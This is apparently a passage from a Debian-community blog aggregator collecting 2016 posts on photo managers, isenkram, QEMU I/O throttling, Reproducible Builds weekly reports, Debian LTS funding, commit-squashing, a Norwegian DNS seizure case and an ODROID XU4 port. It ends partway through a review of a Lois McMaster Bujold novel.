How to manage your photos? That is probably the biggest question for anyone doing anything with a photo camera. As resolutions of cameras grow, the data we have to manage is growing ever. In my case I am talking about more than 50000 photos and videos measuring up to about 200Gb of disk space, constantly growing. There are several photo management softwares out there, I guess the most commonly used ones are Shotwell for the Gnome desktop, digiKam for the KDE world, and FotoXX. I have not used Shotwell and digiKam for quite some time, and collect here my experiences of strength and weaknesses of the two programs. FotoXX seems to be very powerful, too, but I haven t tested it till now.
shotwell-digikam

There is no clear winner here, unfortunately. Both have their strength and their weaknesses. And as a consequence I am using both in parallel. Before I start a clear declaration: I have been using Shotwell for many years, and have myself contributed considerable code to Shotwell, in particular the whole comment system (comments for photos and events), as well as improved the Piwigo upload features. I started using digiKam some month ago when I started to look for offloading parts of my photo library to external devices. Since then I have used both in parallel. Let us start with what these programs say about themselves: Shotwell is declared as a Photo Manager for Gnome 3, with the following features:

Import from disk or camera
Organize by time-based Events, Tags (keywords), Folders, and more
View your photos in full-window or fullscreen mode
Crop, rotate, color adjust, straighten, and enhance photos
Slideshow
Video and RAW photo support
Share to major Web services, including Facebook, Flickr, and YouTube

digiKam says about itself that it is an advanced digital photo management application for Linux, Windows, and Mac-OSX. It has a very long feature page with a short list at the beginning:

import pictures
organize your collection
view items
edit and enhance
create (slideshows, calendar, print, )
share your creations (using social web services, email, your own web allery, )

Now that sounds like they are very similar, but upon using them it turns out that there are huge differences, that can easily be summed up in a short statement:

Shotwell is Gnome 3 that means get rid of functionality. digiKam is KDE that means provide as much functionality as possible.

Now before you run after me with a knife because you do not agree with me on the above, either read on, or stop reading. I am not interested in flame wars over Gnome versus KDE philosophy. I have been using Gnome since many years, and tried to convince myself to G3 for more than a year until I threw out all of it but selected programs but their number is going down. Let us look at those aspects I am using: organization, offline, sharing, editing. Organization In Shotwell, your photos are organized into events, independent from their location on disk. These events can have title and comment and collect a set of related photos. In my case I often have photos from two or more cameras (my camera and mobile, photos of friends), which I keep in separate directories within a main directory for the event. For example I have a folder 2016/05.21-22.Climbing.Tanigakadake with two sub-folders Norbert (for my photos) and Friend (for my friends photos). In Shotwell all the photos are in the same event, which is shown with title 05.21-22 Tanigakawadake Climbing within the 2016 year and May month.
shotwell-events

So in short Shotwell distinguishes between disk layout and album/event names. In digiKam there is a strict connection between disk layout and album names 1:1. Albums are directories. One can adjust the viewer to show all photos of sub-albums in the main album, and by this one can achieve the same effect of merging all photos of my friend and myself. The good thing in this approach is that one can easily have sub-albums: Imagine a trip to three different islands of Hawaii during one trip. This is something easy to achieve in digiKam, but hard in Shotwell.
digikam-albums

Other organization methods Both Shotwell and digiKam support tags, including hierarchical tags and rating (0-5 stars). Shotwell has in addition a quick flag action that I used quite often for initial selecting photos, as well as accepted and rejected. digiKam also has so called picks (no pick, reject, pending, accepted), and colors (not used by now). Both programs have some face detection support, but also this I haven t used. So in the organization respect there is no clear winner. I like the Event idea of Shotwell, or better, the separation of events from the disk structure. But on the other hand, Shotwell does not allow for sub-albums, which is also a pain. No clear winner draw Offline storage That is simple: Shotwell: forget it, not reasonably possible. One can move parts to an external HD, then unplug it, and Shotwell will tell you that all the photos are missings. And when you plug the external HD in, it will redetect them. But this is not proper support, just a consequence of hash sum storage. Also separation into several libraries (online and offline) is not supported. On the other hand, digiKam supports multiple libraries, partly offline, without a hinch. I would love to have this feature in Shotwell, because I need to free disk space, urgently!!! Clear winner: digiKam Sharing Again here my testing is very restricted I am using my own Piwigo installation exclusively. Here Shotwell is excellent in providing support for various features: upload to existing category, create new category, resize, optionally remove tags, add comments to albums and photos, etc. (partly implemented by me

On the other hand digiKam has a very barebone interface to Piwigo you can upload photos to an existing album and resize them, but that is already everything. One also needs to say that the list of supported services in digiKam is by far longer than the one in Shotwell, but the main services (usual suspects) are supported in both.
digikam-piwigo

Clear winner: Shotwell (but I haven t tested other upload services). Editing The editing capabilities of Shotwell are again very restricted: red eyes, resize, levels, .

digiKam here is more like a photo editor software with loads of tools and features. I haven t even explored all the options maybe I can get rid of GIMP, too?
digikam-editing

Clear winner: digiKam Conclusions While I am still working with both, I actually would love to move completely to digiKam. I simply cannot stand the Gnome 3 philosophy of reducing functionality to a minimal for dummy users. There is a market for that, sure, but I am not one of it. Unfortunately, the missing Event support, and much more the completely minimal support for Piwigo sharing in digiKam is a big show stopper at the moment. Even after testing the upcoming digiKam 5.0 version for some time, I didn t see any improvement wrt to sharing. That leaves me with the only option to continue working with both programs, and hope to get a new bigger SSD before the current one runs out of space. Of course I could start hacking into the digiKam source maybe I do this when I have a bit more time to add proper Piwigo support.

The isenkram system is a user-focused solution in Debian for handling hardware related packages. The idea is to have a database of mappings between hardware and packages, and pop up a dialog suggesting for the user to install the packages to use a given hardware dongle. Some use cases are when you insert a Yubikey, it proposes to install the software needed to control it; when you insert a braille reader list it proposes to install the packages needed to send text to the reader; and when you insert a ColorHug screen calibrator it suggests to install the driver for it. The system work well, and even have a few command line tools to install firmware packages and packages for the hardware already in the machine (as opposed to hotpluggable hardware). The system was initially written using aptdaemon, because I found good documentation and example code on how to use it. But aptdaemon is going away and is generally being replaced by PackageKit, so Isenkram needed a rewrite. And today, thanks to the great patch from my college Sunil Mohan Adapa in the FreedomBox project, the rewrite finally took place. I've just uploaded a new version of Isenkram into Debian Unstable with the patch included, and the default for the background daemon is now to use PackageKit. To check it out, install the isenkram package and insert some hardware dongle and see if it is recognised. If you want to know what kind of packages isenkram would propose for the machine it is running on, you can check out the isenkram-lookup program. This is what it look like on a Thinkpad X230:

% isenkram-lookup 
bluez
cheese
fprintd
fprintd-demo
gkrellm-thinkbat
hdapsd
libpam-fprintd
pidgin-blinklight
thinkfan
tleds
tp-smapi-dkms
tp-smapi-source
tpb
%p

The hardware mappings come from several places. The preferred way is for packages to announce their hardware support using the cross distribution appstream system. See previous blog posts about isenkram to learn how to do that.

QEMU 2.6 was released a few days ago. One new feature that I have been working on is the new way to configure I/O limits in disk drives to allow bursts and increase the responsiveness of the virtual machine. In this post I ll try to explain how it works. The basic settings First I will summarize the basic settings that were already available in earlier versions of QEMU. Two aspects of the disk I/O can be limited: the number of bytes per second and the number of operations per second (IOPS). For each one of them the user can set a global limit or separate limits for read and write operations. This gives us a total of six different parameters. I/O limits can be set using the throttling.* parameters of -drive, or using the QMP block_set_io_throttle command. These are the names of the parameters for both cases:

-drive	block_set_io_throttle
throttling.iops-total	iops
throttling.iops-read	iops_rd
throttling.iops-write	iops_wr
throttling.bps-total	bps
throttling.bps-read	bps_rd
throttling.bps-write	bps_wr

It is possible to set limits for both IOPS and bps at the same time, and for each case we can decide whether to have separate read and write limits or not, but if iops-total is set then neither iops-read nor iops-write can be set. The same applies to bps-total and bps-read/write. The default value of these parameters is 0, and it means unlimited. In its most basic usage, the user can add a drive to QEMU with a limit of, say, 100 IOPS with the following -drive line:

-drive file=hd0.qcow2,throttling.iops-total=100

We can do the same using QMP. In this case all these parameters are mandatory, so we must set to 0 the ones that we don t want to limit:

     "execute": "block_set_io_throttle",
     "arguments":  
        "device": "virtio0",
        "iops": 100,
        "iops_rd": 0,
        "iops_wr": 0,
        "bps": 0,
        "bps_rd": 0,
        "bps_wr": 0

I/O bursts While the settings that we have just seen are enough to prevent the virtual machine from performing too much I/O, it can be useful to allow the user to exceed those limits occasionally. This way we can have a more responsive VM that is able to cope better with peaks of activity while keeping the average limits lower the rest of the time. Starting from QEMU 2.6, it is possible to allow the user to do bursts of I/O for a configurable amount of time. A burst is an amount of I/O that can exceed the basic limit, and there are two parameters that control them: their length and the maximum amount of I/O they allow. These two can be configured separately for each one of the six basic parameters described in the previous section, but here we ll use iops-total as an example. The I/O limit during bursts is set using iops-total-max , and the maximum length (in seconds) is set with iops-total-max-length . So if we want to configure a drive with a basic limit of 100 IOPS and allow bursts of 2000 IOPS for 60 seconds, we would do it like this (the line is split for clarity):

   -drive file=hd0.qcow2,
          throttling.iops-total=100,
          throttling.iops-total-max=2000,
          throttling.iops-total-max-length=60

Or with QMP:

     "execute": "block_set_io_throttle",
     "arguments":  
        "device": "virtio0",
        "iops": 100,
        "iops_rd": 0,
        "iops_wr": 0,
        "bps": 0,
        "bps_rd": 0,
        "bps_wr": 0,
        "iops_max": 2000,
        "iops_max_length": 60,

With this, the user can perform I/O on hd0.qcow2 at a rate of 2000 IOPS for 1 minute before it s throttled down to 100 IOPS. The user will be able to do bursts again if there s a sufficiently long period of time with unused I/O (see below for details). The default value for iops-total-max is 0 and it means that bursts are not allowed. iops-total-max-length can only be set if iops-total-max is set as well, and its default value is 1 second. Controlling the size of I/O operations When applying IOPS limits all I/O operations are treated equally regardless of their size. This means that the user can take advantage of this in order to circumvent the limits and submit one huge I/O request instead of several smaller ones. QEMU provides a setting called throttling.iops-size to prevent this from happening. This setting specifies the size (in bytes) of an I/O request for accounting purposes. Larger requests will be counted proportionally to this size. For example, if iops-size is set to 4096 then an 8KB request will be counted as two, and a 6KB request will be counted as one and a half. This only applies to requests larger than iops-size: smaller requests will be always counted as one, no matter their size. The default value of iops-size is 0 and it means that the size of the requests is never taken into account when applying IOPS limits. Applying I/O limits to groups of disks In all the examples so far we have seen how to apply limits to the I/O performed on individual drives, but QEMU allows grouping drives so they all share the same limits. This feature is available since QEMU 2.4. Please refer to the post I wrote when it was published for more details. The Leaky Bucket algorithm I/O limits in QEMU are implemented using the leaky bucket algorithm (specifically the Leaky bucket as a meter variant). This algorithm uses the analogy of a bucket that leaks water constantly. The water that gets into the bucket represents the I/O that has been performed, and no more I/O is allowed once the bucket is full. To see the way this corresponds to the throttling parameters in QEMU, consider the following values:

  iops-total=100
  iops-total-max=2000
  iops-total-max-length=60

Water leaks from the bucket at a rate of 100 IOPS.
Water can be added to the bucket at a rate of 2000 IOPS.
The size of the bucket is 2000 x 60 = 120000.
If iops-total-max is unset then the bucket size is 100.

The bucket is initially empty, therefore water can be added until it s full at a rate of 2000 IOPS (the burst rate). Once the bucket is full we can only add as much water as it leaks, therefore the I/O rate is reduced to 100 IOPS. If we add less water than it leaks then the bucket will start to empty, allowing for bursts again. Note that since water is leaking from the bucket even during bursts, it will take a bit more than 60 seconds at 2000 IOPS to fill it up. After those 60 seconds the bucket will have leaked 60 x 100 = 6000, allowing for 3 more seconds of I/O at 2000 IOPS. Also, due to the way the algorithm works, longer burst can be done at a lower I/O rate, e.g. 1000 IOPS during 120 seconds. Acknowledgments As usual, my work in QEMU is sponsored by Outscale and has been made possible by Igalia and the help of the QEMU development team.

Enjoy QEMU 2.6!

What happened in the Reproducible Builds effort between May 15th and May 21st 2016: Media coverage Blog posts from our GSoC and Outreachy contributors:

Val's first post describing her plans for improving tests.reproducible-builds.org.
ceridwen's first post describing her plans for reprotest, the universal reproducibility testing tool.
Scarlett's and Satyam's first posts were linked in previous week's report already.

Documentation update Ximin Luo clarified instructions on how to set SOURCE_DATE_EPOCH. Toolchain fixes

Joao Eriberto Mota Filho uploaded txt2man/1.5.6-4, which honours SOURCE_DATE_EPOCH to generate reproducible manpages (original patch by Reiner Herrmann).
Dmitry Shachnev uploaded sphinx/1.4.1-1 to experimental with improved support for SOURCE_DATE_EPOCH (original patch by Alexis Bienven e).
Emmanuel Bourg submitted a patch against debhelper to use a fixed username while building ant packages.

Other upstream fixes

Doxygen merged a patch by Ximin Luo, which uses UTC as timezone for embedded timestamps.
CMake applied a patch by Reiner Herrmann in their next branch, which sorts file lists obtained with file(GLOB).
GNU tar 1.29 with support for --clamp-mtime has been released upstream, closing #816072, which was the blocker for #759886 "dpkg-dev: please make mtimes of packaged files deterministic" which we now hope will be closed soon.

Packages fixed The following 18 packages have become reproducible due to changes in their build dependencies: abiword angband apt-listbugs asn1c bacula-doc bittornado cdbackup fenix gap-autpgrp gerbv jboss-logging-tools invokebinder modplugtools objenesis pmw r-cran-rniftilib x-loader zsnes The following packages have become reproducible after being fixed:

ball/1.4.3~beta1-1 by Andreas Tille.
chrony/2.3-1 by Vincent Blut, original patch by Alexis Bienven e.
corosync/2.3.5-7 by Ferenc W gner.
gap-ctbllib/1r2p2.dfsg.0-3 by Bill Allombert, original patch by Alexis Bienven e.
kdiff3/0.9.98-3 by Eike Sauer.
netcdf-cxx/4.3.0+ds-3 by Bas Couwenberg.
netcdf-fortran/4.4.4+ds-2 by Bas Couwenberg.
primesieve/5.6.0+ds-2 by Jerome Benoit.
ray/2.3.1-4 by Sascha Steinbiss.
rocksdb/4.5.1-1 by Laszlo Boszormenyi, original patch by Chris Lamb.
shapelib/1.3.0-8 by Bas Couwenberg.
swift/2.7.0-3 by Ond ej Nov .
t-coffee/11.00.8cbe486-3 by Sascha Steinbiss.
webkit2pdf/0.3-2 by Ricardo Mones, original patch by Reiner Herrmann.
wise/2.4.1-18 by Sascha Steinbiss.

Some uploads have fixed some reproducibility issues, but not all of them:

bzr/2.7.0-6 by Jelmer Vernoo .
libsdl2/2.0.4+dfsg2-1 by Manuel A. Fernandez Montecelo.
pvm/3.4.5-13 by James Clarke.
refpolicy/2:2.20140421-11 by Laurent Bigonville.
subvertpy/0.9.3-4 by Jelmer Vernoo .

Patches submitted that have not made their way to the archive yet:

#824413 against binutils by Chris Lamb: filter build user and date from test log case-insensitively
#824452 against python-certbot by Chris Lamb: prevent PID from being embedded into documentation (forwarded upstream)
#824453 against gtk-gnutella by Chris Lamb: use SOURCE_DATE_EPOCH for deterministic timestamp (merged upstream)
#824454 against python-latexcodec by Chris Lamb: fix for parsing the changelog date
#824472 against torch3 by Alexis Bienven e: sort object files while linking
#824501 against cclive by Alexis Bienven e: use SOURCE_DATE_EPOCH as embedded build date
#824567 against tkdesk by Alexis Bienven e: sort order of files which are parsed by mkindex script
#824592 against twitter-bootstrap by Alexis Bienven e: use shell-independent printing
#824639 against openblas by Alexis Bienven e: sort object files while linking
#824653 against elkcode by Alexis Bienven e: sort list of files locale-independently
#824668 against gmt by Alexis Bienven e: use SOURCE_DATE_EPOCH for embedded timestamp (similar patch by Bas Couwenberg already applied and forwarded upstream)
#824808 against gdal by Alexis Bienven e: sort object files while linking
#824951 against libtomcrypt by Reiner Herrmann: use SOURCE_DATE_EPOCH for timestamp embedded into metadata

Reproducibility-related bugs filed:

#824420 against python-phply by ceridwen: parsetab.py file is not included when building with DEB_BUILD_OPTIONS="nocheck"
#824572 against dpkg-dev by XImin Luo: request to export SOURCE_DATE_EPOCH in /usr/share/dpkg/*.mk.

Package reviews 51 reviews have been added, 19 have been updated and 15 have been removed in this week.

Two new issues have been found:
- random_order_in_static_library_by_icmake
- timestamps_in_manpages_generated_by_latex2man

22 FTBFS bugs have been reported by Chris Lamb, Santiago Vila, Niko Tyni and Daniel Schepler. tests.reproducible-builds.org

Icons have been added to the package test history pages (h01ger).
Test performance and variation pages have been splitted out of the dashboard view (h01ger).
A new pkg set has been added: packages maintained by debian-med-packaging@l.a.d.o (h01ger).
The preliminary results for testing have improved further:
- testing/amd64 has 20944 / 90.2% reproducible packages now,
- testing/i386 has reached 20013 / 86.3% reproducible packages,
- testing/armhf has come close with 19951 / 86.0%.

Misc.

During the discussion on debian-devel about PIE, an archive rebuild was suggested by B lint R czey, and Holger Levsen suggested to coordinate this with a required archive rebuild for reproducible builds.
Ximin Luo improved misc.git/reports (=the tools to help writing the weekly statistics for this blog) quite a bit, h01ger contributed a little too.

This week's edition was written by Reiner Herrmann and Holger Levsen and reviewed by a bunch of Reproducible builds folks on IRC.

As of yesterday, I am the new maintainer of pristine-tar. As it is the case for most of Joey Hess creations, it is an extremely useful tool, and used in a very large number of Debian packages which are maintained in git. My first upload was most of a terrain recognition nature: I did some housekeeping tasks, such as making the build idempotent and making sure all binaries are built with security hardening flags, and wrote a few automated test cases to serve as build-time and run-time regression test suite. No functional changes have been made. As Joey explained when he orphaned it, there are a few technical challenges involved in making sure pristine-tar stays useful in the future. Although I did read some of the code, I am not particularly familiar with the internals yet, and will be more than happy to get co-maintainers. If you are interested, please get in touch. The source git repository is right there.

Github recently introduced the option to squash commits on merge, and even before then several projects requested that contributors squash their commits after review but before merge. This is a terrible idea that makes it more difficult for people to contribute to projects.

I'm spending today working on reworking some code to integrate with a new feature that was just integrated into Kubernetes. The PR in question was absolutely fine, but just before it was merged the entire commit history was squashed down to a single commit at the request of the reviewer. This single commit contains type declarations, the functionality itself, the integration of that functionality into the scheduler, the client code and a large pile of autogenerated code.

I've got some familiarity with Kubernetes, but even then this commit is difficult for me to read. It doesn't tell a story. I can't see its growth. Looking at a single hunk of this diff doesn't tell me whether it's infrastructural or part of the integration. Given time I can (and have) figured it out, but it's an unnecessary waste of effort that could have gone towards something else. For someone who's less used to working on large projects, it'd be even worse. I'm paid to deal with this. For someone who isn't, the probability that they'll give up and do something else entirely is even greater.

I don't want to pick on Kubernetes here - the fact that this Github feature exists makes it clear that a lot of people feel that this kind of merge is a good idea. And there are certainly cases where squashing commits makes sense. Commits that add broken code and which are immediately followed by a series of "Make this work" commits also impair readability and distract from the narrative that your RCS history should present, and Github present this feature as a way to get rid of them. But that ends up being a false dichotomy. A history that looks like "Commit", "Revert Commit", "Revert Revert Commit", "Fix broken revert", "Revert fix broken revert" is a bad history, as is a history that looks like "Add 20,000 line feature A", "Add 20,000 line feature B".

When you're crafting commits for merge, think about your commit history as a textbook. Start with the building blocks of your feature and make them one commit. Build your functionality on top of them in another. Tie that functionality into the core project and make another commit. Add client support. Add docs. Include your tests. Allow someone to follow the growth of your feature over time, with each commit being a chapter of that story. And never, ever, put autogenerated code in the same commit as an actual functional change.

People can't contribute to your project unless they can understand your code. Writing clear, well commented code is a big part of that. But so is showing the evolution of your features in an understandable way. Make sure your RCS history shows that, otherwise people will go and find another project that doesn't make them feel frustrated.

(Edit to add: Sarah Sharp wrote on the same topic a couple of years ago)

comments

I just donated to the NUUG defence "fond" to fund the effort in Norway to get the seizure of the news site popcorn-time.no tested in court. I hope everyone that agree with me will do the same. Would you be worried if you knew the police in your country could hijack DNS domains of news sites covering free software system without talking to a judge first? I am. What if the free software system combined search engine lookups, bittorrent downloads and video playout and was called Popcorn Time? Would that affect your view? It still make me worried. In March 2016, the Norwegian police seized (as in forced NORID to change the IP address pointed to by it to one controlled by the police) the DNS domain popcorn-time.no, without any supervision from the courts. I did not know about the web site back then, and assumed the courts had been involved, and was very surprised when I discovered that the police had hijacked the DNS domain without asking a judge for permission first. I was even more surprised when I had a look at the web site content on the Internet Archive, and only found news coverage about Popcorn Time, not any material published without the right holders permissions. The seizure was widely covered in the Norwegian press (see for example Hegnar Online and ITavisen and NRK), at first due to the press release sent out by kokrim, but then based on protests from the law professor Olav Torvund and lawyer Jon Wessel-Aas. It even got some coverage on TorrentFreak. I wrote about the case a month ago, when the Norwegian Unix User Group (NUUG), where I am an active member, decided to ask the courts to test this seizure. The request was denied, but NUUG and its co-requestor EFN have not given up, and now they are rallying for support to get the seizure legally challenged. They accept both bank and Bitcoin transfer for those that want to support the request. If you as me believe news sites about free software should not be censored, even if the free software have both legal and illegal applications, and that DNS hijacking should be tested by the courts, I suggest you show your support by donating to NUUG.

What happened in the Reproducible Builds effort between May 8th and May 14th 2016: Documentation updates

Ximin Luo spent some work on improving and updating our documentation:
- updated the SOURCE_DATE_EPOCH adoption page at wiki.debian.org/ReproducibleBuilds/TimestampsProposal with a compilation of our reasonings versus common arguments encountered with package maintainers and upstream developers.
- updated wiki.debian.org/ReproducibleBuilds/Howto
- and also moved resolved issues to wiki.debian.org/ReproducibleBuilds/OldIssues.
https://anonscm.debian.org/git/reproducible/ has been cleaned up by Ximin, including the removal of the link from diffoscope.git to debbindiff.git.

Toolchain fixes

dpkg 1.18.7 has been uploaded to unstable, after which Mattia Rizzolo took care of rebasing our patched version.
- this prompted h01ger to restart the discussion about reproducible dpkg for sid and stretch
- to which Guillem replied with a status update.
gcc-5 and gcc-6 migrated to testing with the patch to honour SOURCE_DATE_EPOCH
Ximin Luo started an upstream discussion with the Ghostscript developers.
Norbert Preining has uploaded a new version of texlive-bin with these changes relevant to us:
- imported Upstream version 2016.20160512.41045 support for suppressing timestamps (SOURCE_DATE_EPOCH) (Closes: #792202)
- add support for SOURCE_DATE_EPOCH also to luatex
cdbs 0.4.131 has been uploaded to unstable by Jonas Smedegaard, fixing these issues relevant to us:
- #794241: export SOURCE_DATE_EPOCH. Original patch by akira
- #764478: call dh_strip_nondeterminism if available. Original patch by Holger Levsen
libxslt 1.1.28-3 has been uploaded to unstable by Mattia Rizzolo, fixing the following toolchain issues:
- #823857: backport patch from upstream to provide stable IDs in the genrated documents.
- #791815: Honour SOURCE_DATE_EPOCH when embedding timestamps in docs. Patch by Eduard Sanou.

Packages fixed The following 28 packages have become newly reproducible due to changes in their build dependencies: actor-framework ask asterisk-prompt-fr-armelle asterisk-prompt-fr-proformatique coccinelle cwebx d-itg device-tree-compiler flann fortunes-es idlastro jabref konclude latexdiff libint minlog modplugtools mummer mwrap mxallowd mysql-mmm ocaml-atd ocamlviz postbooks pycorrfit pyscanfcs python-pcs weka The following 9 packages had older versions which were reproducible, and their latest versions are now reproducible again due to changes in their build dependencies: csync2 dune-common dune-localfunctions libcommons-jxpath-java libcommons-logging-java libstax-java libyanfs-java python-daemon yacas The following packages have become newly reproducible after being fixed:

asymptote/2.38-1 by Norbert Preining, original patch by Alexis Bienven e.
bnd/2.4.1-4 by Emmanuel Bourg.
cgal/4.8-4 by Joachim Reichel.
courier/0.76.1-2 by Ond ej Sur , original patch by Alexis Bienven e.
dict-foldoc/20160505-1 by Iustin Pop, original patch by Reiner Herrmann.
emoslib/2:4.4.1-2 by Alastair McKinstry, original patch by boyska.
libksba/1.3.4-3 by Andreas Metzler.
mp4h/1.3.1-15 by Axel Beckert.
stk/4.5.2+dfsg-2 by Felipe Sateler, original patch by Alexis Bienven e.
sympow/1.023-7 by Jerome Benoit.
x11proto-input/2.3.2-1 by Julien Cristau, original patch by Eduard Sanou.

The following packages had older versions which were reproducible, and their latest versions are now reproducible again after being fixed:

klibc/2.0.4-9 by Ben Hutchings.

Some uploads have fixed some reproducibility issues, but not all of them:

allegro4.4/2:4.4.2-8 by Andreas R nnquist, original patch by Daniel Shahaf.
gearmand/1.0.6-7 by Alexandre Mestiashvili, original patch by Chris Lamb.
mame/0.172-1 by Jordi Mallach.
python-babel/1.3+dfsg.1-7 by Jean-Michel Vourg re, original patch by Val Lorentz.
openttd/1.6.0-1 by Matthijs Kooijman.
blender/2.77.a+dfsg0-4 by Matteo F. Vescovi, original patch by Campbell Burton.
unburden-home-dir/0.4 by Axel Beckert.
refpolicy/2:2.20140421-10 by Laurent Bigonville, original patch by Chris Lamb.
kdiff3/0.9.98-3 by Eike Sauer.

Patches submitted that have not made their way to the archive yet:

#787424 against emacs24 by Alexis Bienven e: order hashes when generating .el files
#823764 against sen by Daniel Shahaf: render the build timestamp in a consistent timezone
#823797 against openclonk by Alexis Bienven e: honour SOURCE_DATE_EPOCH
#823961 against herbstluftwm by Fabian Wolff: honour SOURCE_DATE_EPOCH
#824049 against emacs24 by Alexis Bienven e: make start value of gensym-counter reproducible
#824050 against emacs24 by Alexis Bienven e: make autoloads files reproducible
#824182 against codeblocks by Fabian Wolff: honour SOURCE_DATE_EPOCH
#824263 against cmake by Reiner Herrmann: sort file lists from file(GLOB ...)

Package reviews 344 reviews have been added, 125 have been updated and 20 have been removed in this week. 14 FTBFS bugs have been reported by Chris Lamb. tests.reproducible-builds.org

bpi0 has been reinstalled with a new ssd. (vagrant/h01ger)
A new navigation menu for the Debian pages at https://tests.reproducible-builds.org/ has been implemented. (h01ger)

Misc. Dan Kegel sent a mail to report about his experiments with a reproducible dpkg PPA for Ubuntu. According to him sudo add-apt-repository ppa:dank/dpkg && sudo apt-get update && sudo apt-get install dpkg should be enough to get reproducible builds on Ubuntu 16.04. This week's edition was written by Ximin Luo and Holger Levsen and reviewed by a bunch of Reproducible builds folks on IRC.

Like each month, here comes a report about the work of paid contributors to Debian LTS. Individual reports In April, 116.75 work hours have been dispatched among 9 paid contributors. Their reports are available:

Antoine Beaupr did 16h.
Ben Hutchings did 12.25 hours (out of 15 hours allocated + 5.50 extra hours remaining, he returned the remaining 8.25h to the pool).
Brian May did 10 hours.
Chris Lamb did nothing (instead of the 16 hours he was allocated, his hours have been redispatched to other contributors over May).
Guido G nther did 2 hours (out of 8 hours allocated + 3.25 remaining hours, leaving 9.25 extra hours for May).
Markus Koschany did 16 hours.
Santiago Ruano Rinc n did 7.50 hours (out of 12h allocated + 3.50 remaining, thus keeping 8 extra hours for May).
Scott Kitterman posted a report for 6 hours made in March but did nothing in April. His 18 remaining hours have been returned to the pool. He decided to stop doing LTS work for now.
Thorsten Alteholz did 15.75 hours.

Many contributors did not use all their allocated hours. This is partly explained by the fact that in April Wheezy was still under the responsibility of the security team and they were not able to drive updates from start to finish. In any case, this means that they have more hours available over May and since the LTS period started, they should hopefully be able to make a good dent in the backlog of security updates. Evolution of the situation The number of sponsored hours reached a new record with 132 hours per month, thanks to two new gold sponsors (Babiel GmbH and Plat Home). Plat Home s sponsorship was aimed to help us maintain Debian 7 Wheezy on armel and armhf (on top of already supported amd64 and i386). Hopefully the trend will continue so that we can reach our objective of funding the equivalent of a full-time position. The security tracker currently lists 45 packages with a known CVE and the dla-needed.txt file lists 44 packages awaiting an update. This is a bit more than the 15-20 open entries that we used to have at the end of the Debian 6 LTS period. Thanks to our sponsors New sponsors are in bold.

Platinum sponsors:

TOSHIBA (for 7 months)

Gold sponsors:

The Positive Internet (for 23 months)
Blablacar (for 22 months)
Linode LLC (for 12 months)
Babiel GmbH
Plat Home

Silver sponsors:

Domeneshop AS (for 22 months)
Universit Lille 3 (for 22 months)
Trollweb Solutions (for 20 months)
Nantes M tropole (for 16 months)
University of Luxembourg (for 14 months)
Dalenys (for 13 months)
Univention GmbH (for 8 months)
Universit Jean Monnet de St Etienne (for 8 months)
Sonus Networks

Bronze sponsors:

David Ayers IntarS Austria (for 23 months)
Evolix (for 23 months)
Offensive Security (for 23 months)
Seznam.cz, a.s. (for 23 months)
Freeside Internet Service (for 22 months)
MyTux (for 22 months)
Linuxhotel GmbH (for 20 months)
Intevation GmbH (for 19 months)
Daevel SARL (for 18 months)
Bitfolk LTD (for 17 months)
Megaspace Internet Services GmbH (for 17 months)
Greenbone Networks GmbH (for 16 months)
NUMLOG (for 16 months)
WinGo AG (for 15 months)
Ecole Centrale de Nantes LHEEA (for 12 months)
Sig-I/O (for 9 months)
Entr ouvert (for 7 months)
Adfinis SyGroup AG (for 4 months)

No comment Liked this article? Click here. My blog is Flattr-enabled.

I recently acquired an ODROID XU4. Despite being 32-bit, it's currently at the upper end of cheap SoC-based devboards; it's based on Exynos 5422 (which sits in Samsung Galaxy S5), which means 2 GHz quadcore Cortex-A15 (plus four slower Cortex-A7, in a big.LITTLE configuration), 2 GB RAM, USB 3.0, gigabit Ethernet, a Mali-T628 GPU and eMMC/SD storage. (My one gripe about the hardware is that you can't put on the case lid while still getting access to the serial console.) Now, since I didn't want it for HTPC or something similar (I wanted a server/router I could carry with me), I didn't care much about the included Ubuntu derivative with all sorts of Samsung modifications, so instead, I went on to see if I could run Debian on it. (Spoiler alert: You can't exactly just download debian-installer and run it.) It turns out there are lots of people who make Debian images, but they're still filled with custom stuff here and there. In recent times, people have put down heroic efforts to make unified ARM kernels; servers et al can now enumerate hardware using ACPI, while SoCs (such as the XU4) have a device tree file (loaded by the bootloader) containing a functional description of what hardware exists and how it's hooked up. And lo and behold, the 4.5.0 armmp kernel from stretch boots and mostly works! Well except for that there's no HDMI output. :-) There are two goals I'd like to achieve by this exercise: First, it's usually much easier to upgrade things if they are close to mainline. (I wanted support for sch_fq, for instance, which isn't in 3.10, and the vendor kernel is 3.10.) Second, anything that doesn't work in Debian is suddenly exposed pretty harshly, and can be filed bugs for and fixed which benefits not only XU4 users (if nothing else, because the custom distros have to carry less delta), but usually also other boards as most issues are of a somewhat more generic nature. Yet, the ideal seems to puzzle some of the more seasoned people in the ODROID user groups; I guess sometimes it's nice to come in as a na ve new user. :-) So far, I've filed bugs or feature requests to the kernel (#823552, #824435), U-Boot (#824356), grub (#823955, #824399), and login (#824391) and yes, that includes for the aforemented lack of HDMI output. Some of them are already fixed; with some luck, maybe the XU4 can be added next to the other Exynos5 board at the compatibility list for the armmp kernels at some point. :-) You can get the image at http://storage.sesse.net/debian-xu4/. Be sure to read the README and the linked ODROID forum post.

Review: Gentleman Jole and the Red Queen, by Lois McMaster Bujold

Series:	Vorkosigan #15
Publisher:	Baen
Copyright:	2015
Printing:	February 2016
ISBN:	1-4767-8122-2
Format:	Kindle
Pages:	352

This is very late in the Vorkosigan series, but it's also a return to a different protagonist and a change of gears to a very different type of story. Gentleman Jole and the Red Queen has Cordelia as a viewpoint character for, I believe, the first time since Barrayar, very early in the series. But you would still want to read the intermediate Miles books before this one given the nature of the story Bujold is telling here. It's a very character-centric, very quiet story that depends on the history of all the Vorkosigan characters and the connection the reader has built up with them. I think you have to be heavily invested in this series already to get that much out of this book. The protagonist shift has a mildly irritating effect: I've read the whole series, but I was still a bit adrift at times because of how long it's been since I read the books focused on Cordelia. I only barely remember the events of Shards of Honor and Barrayar, which lay most of the foundations of this story. Bujold does have the characters retell them a bit, enough to get vaguely oriented, but I'm pretty sure I missed some subtle details that I wouldn't have if the entire series were fresh in memory. (Oh for the free time to re-read all of the series I'd like to re-read.) Unlike recent entries in this series, Gentleman Jole and the Red Queen is not about politics, investigations, space (or ground) combat, war, or any of the other sources of drama that have shown up over the course series. It's not even about a wedding. The details (and sadly even the sub-genre) are all spoilers, both for this book and for the end of Cryoburn, so I can't go into many details. But I'm quite curious how the die-hard Baen fans would react to this book. It's a bit far afield from their interests. Gentleman Jole is all about characters: about deciding what one wants to do with one's life, about families and how to navigate them, about boundaries and choices. Choices about what to communicate and what not to communicate, and, partly, about how to maintain sufficient boundaries against Miles to keep his 